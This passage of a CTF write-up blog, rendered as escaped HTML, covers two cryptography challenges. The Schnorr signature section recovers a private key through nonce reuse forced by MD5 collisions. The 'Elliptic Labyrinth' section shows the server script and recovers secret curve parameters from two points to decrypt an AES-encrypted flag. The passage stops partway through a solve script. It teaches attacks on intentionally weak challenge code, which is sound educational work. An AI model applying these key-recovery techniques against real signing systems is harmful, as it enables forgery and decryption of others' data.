&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Valid signature!&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Invalid signature!&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Invalid choice...&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;__main__&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">signal&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">alarm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">30&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="initial-analysis-3">Initial Analysis&lt;/h3>
&lt;p>This challenge implements the &lt;a href="https://en.wikipedia.org/wiki/Schnorr_signature" target="_blank" rel="noopener">Schnorr signature&lt;/a>. We were given 4 parameters including the generator $g$, prime $q,p=2*q+1$ and $y=g^{x} [pq]$. To get the flag, we have to submit to &lt;code>verify&lt;/code> function a message with its signature such that there is a string &lt;code>I am the left hand&lt;/code> in the message. However we can not create signature for any message that has this string via function &lt;code>sign&lt;/code>. To solved this challenge, i create a signature by hand by retriving the private key $x$ in &lt;code>sign&lt;/code> function.&lt;/p>
&lt;h3 id="solution">Solution&lt;/h3>
&lt;p>After reading on wiki, i noticed a vulnerability section &lt;code>Key leakage from nonce reuse&lt;/code>. If we create two signatures with the same nonce $k$, then we have:&lt;/p>
&lt;p>$$s_1= k-xe_1 [q]$$&lt;/p>
&lt;p>$$s_2= k-xe_2 [q]$$&lt;/p>
&lt;p>Now we can easily get the private key $x$:&lt;/p>
&lt;p>$$x = (s_2 - s_1)(e_1e_2)^{-1}[q]$$&lt;/p>
&lt;p>But how can we create two signatures with the same $k$? From the source we know that $k$ is actually &lt;code>md5(msg|x)&lt;/code>. We can submit any $msg$ we want, so i immediately think of creating the md5 identical-prefix collision using &lt;a href="https://github.com/cr-marcstevens/hashclash" target="_blank" rel="noopener">Hashclash&lt;/a>. Hashclash will help us to find 2 messages of length 64 that has the same md5 hash, therefore &lt;code>md5(msg|x)&lt;/code> or $k$ of these messages will be the same.&lt;/p>
&lt;p>After getting $x$, with any message that has the required string we can easily compute $k$ and then $r$, create our own signature $e$ and submit to server to get the flag.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{w3ll_y3s_bu7_4c7ual1y_n0…}&lt;/strong>&lt;/p>
&lt;h2 id="elliptic-labyrinth">Elliptic Labyrinth&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1w4QyL7cKzhcZJ_qqakudh6fXLtj8mk6p/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As you navigate through the labyrinth inside the tomb, you encounter GPS inaccuracies that make it difficult to determine the correct path to the exit. Can you overcome the technical issues and use your instincts to find your way out of the maze?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The server script is shown below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">json&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">hashlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">sha256&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">random&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">randint&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.Padding&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">pad&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">sage.all_cmdline&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">secret&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">FLAG&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">ECC&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">bits&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">bits&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">gen_random_point&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">EllipticCurve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">GF&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">])&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">random_point&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">menu&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;1. Get parameters of path&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;2. Get point in path&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;3. Try to exit the labyrinth&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">option&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&amp;gt; &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">option&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ec&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ECC&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">512&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">choice&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">menu&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">choice&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;1&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bit_length&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">//&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bit_length&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">//&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;p&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;a&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;b&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span> &lt;span class="o">&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">choice&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;2&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">A&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">gen_random_point&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">({&lt;/span>&lt;span class="s1">&amp;#39;x&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">A&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]),&lt;/span> &lt;span class="s1">&amp;#39;y&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="nb">hex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">A&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">])}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">choice&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;3&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">iv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sha256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ec&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)))&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">()[:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_CBC&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">iv&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">flag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">json&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dumps&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;iv&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">iv&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">(),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;enc&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Bye.&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exit&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;__main__&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="problem-statement-3">Problem Statement&lt;/h3>
&lt;p>The program generates random secret elliptic curve parameters and allows the user to:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Option 1: Obtain the modulus &lt;code>p&lt;/code> and a few MSB bits of ECC parameters.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Option 2: Obtain a random point on the curve.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Option 3: Provide the encrypted FLAG.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Our mission is to decrypt the flag.&lt;/p>
&lt;h3 id="initial-analysis-4">Initial analysis&lt;/h3>
&lt;h4 id="what-we-need-to-decrypt-the-flag">What we need to decrypt the flag?&lt;/h4>
&lt;p>Obviously, we cannot break the AES to find the flag without the &lt;code>key&lt;/code>. To recover the &lt;code>key&lt;/code>, we need to know all elliptic curve&amp;rsquo;s parameters, which are &lt;code>a&lt;/code>, &lt;code>b&lt;/code> and &lt;code>p&lt;/code>. We already known &lt;code>p&lt;/code>, so what we do is trying to retrieve &lt;code>a&lt;/code> and &lt;code>b&lt;/code> from the information provided by the server.&lt;/p>
&lt;h4 id="having-many-points-on-the-curve">Having many points on the curve&lt;/h4>
&lt;p>Every point $P(x, y)$ belonging to this elliptic curve must satisfy the equation: $y^2 \equiv x^3 + ax + b (\text{mod } p)$. To find &lt;code>a&lt;/code> and &lt;code>b&lt;/code> in &lt;code>p&lt;/code>, we must at least have a system of 2 equations like this. Fortunately, the server allows user to generate many points.&lt;/p>
&lt;h3 id="solution-method-3">Solution Method&lt;/h3>
&lt;p>Suppose we have two different points $M(x_m, y_m)$, $N(x_n, y_n)$ in the curve. We recover $a,b$ by below formulas:&lt;/p>
&lt;p>$a \equiv (y^2_m - y^2_n - (x^3_m - x^3_n))(x_m - x_n)^{-1} (\text{mod } p)$&lt;/p>
&lt;p>$b \equiv y^2_m - x^3_m - ax_m (\text{mod } p)$&lt;/p>
&lt;p>The script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">recover&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">M&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">N&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">x1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">y1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">M&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">x2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">y2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">N&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x1&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">x2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">y1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">y2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)))&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">p&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">b&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">y1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">a&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">x1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">p&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That&amp;rsquo;s all! By having &lt;code>a&lt;/code> and &lt;code>b&lt;/code>, we can easily recover the &lt;code>key&lt;/code> and therefore decrypt the FLAG.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">hashlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">sha256&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">random&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">randint&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.Padding&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">pad&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">iv&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">bytes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">fromhex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">iv&lt;/span>&lt;span class="p">)&lt;/span>
